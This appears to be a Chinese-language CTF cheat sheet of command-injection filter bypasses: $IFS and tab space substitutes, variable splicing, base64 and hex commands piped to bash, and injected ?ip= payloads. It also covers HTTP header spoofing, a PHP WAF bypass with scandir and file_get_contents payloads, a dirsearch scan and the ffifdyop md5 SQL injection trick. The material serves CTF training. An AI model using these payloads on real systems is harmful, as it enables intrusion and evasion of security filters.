过滤空格绕过:
$IFS在Linux下表示为空格
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1
//$1改成$加其他数字貌似都行
IFS
<
<>
{cat,flag.php}
//用逗号实现了空格功能,需要用{}括起来
%20
(space)
%09
(tab)
X=$'cat\x09./flag.php';$X
(\x09表示tab,也可以用\x20)
ps:有时会禁用cat:
解决方法是使用tac反向输出命令:
linux命令中可以加\,所以甚至可以ca\t /fl\ag
过滤flag绕过:
1.简单变量替换:
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
2.变量ab互换传递,绕过字符串匹配,实现拼接:
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
?ip=127.0.0.1;b=lag;a=f;cat$IFS$a$b.php
3.内联执行:
?ip=127.0.0.1;a=g;cat$IFS$9`ls`
(注意此处为`,不是')
4.被过滤的bash,用管道+sh替换:
cat flag.php用base64加密来绕过正则匹配,cat flag.php->Y2F0IGZsYWcucGhw
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
大概思路:
cat fl*
(用*匹配任意)
cat fla*
(用*匹配任意)
ca\t fla\g.php
反斜线绕过
cat fl''ag.php
两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash
//base64编码绕过(引号可以去掉) |(管道符) 会把前一个命令的输出作为后一个命令的参数
echo "63617420666c61672e706870" | xxd -r -p | bash
//hex编码绕过(引号可以去掉)
echo "63617420666c61672e706870" | xxd -r -p | sh
//sh的效果和bash一样
cat fl[a]g.php
用[]匹配
a=fl;b=ag;cat $a$b
变量替换
cp fla{g.php,G}
把flag.php复制为flaG
ca${21}t a.txt
利用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的
[GXYCTF2019] Ping Ping Ping
网页要求修改header头:
Referer:https://www.xxx.com
网页要求使用特定浏览器:
User-Agent:xxx
网页要求使用特定ip地址:
X-Forwarded-For:127.0.0.1
[极客大挑战 2019]Http
vardump()函数:用来打印
scandir()函数:用来获取目录文件
在变量前加’ ‘(空格)可以绕过waf:这是php的机制,在传进php代码的url时,一些字符会被忽略或变成 。
因为php一般是这样$_GET[‘num’]获取url传进来的参数,当有一些奇怪的字符和参数写在一些时,如%[num%id],它会变成$_GET[‘num_id’]。所以在num前加个空格可以绕过waf并且php会把它当成正常的num使用,此时并不是’ num’而是‘num’。
/calc.php? num=2;var_dump(scandir(chr(47)))
打开f1agg:
/calc.php num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
扫描网页备份文件:
1.用御剑直接扫
2.用dirsearch直接扫:
dirsearch -u http://ba612f87-1698-4d82-9036-aa3590fe29c4.node3.buuoj.cn/ -e php
看见md5($pass,true)函数:
使用ffifdyop
[BJDCTF2020]Easy MD5
Comments NOTHING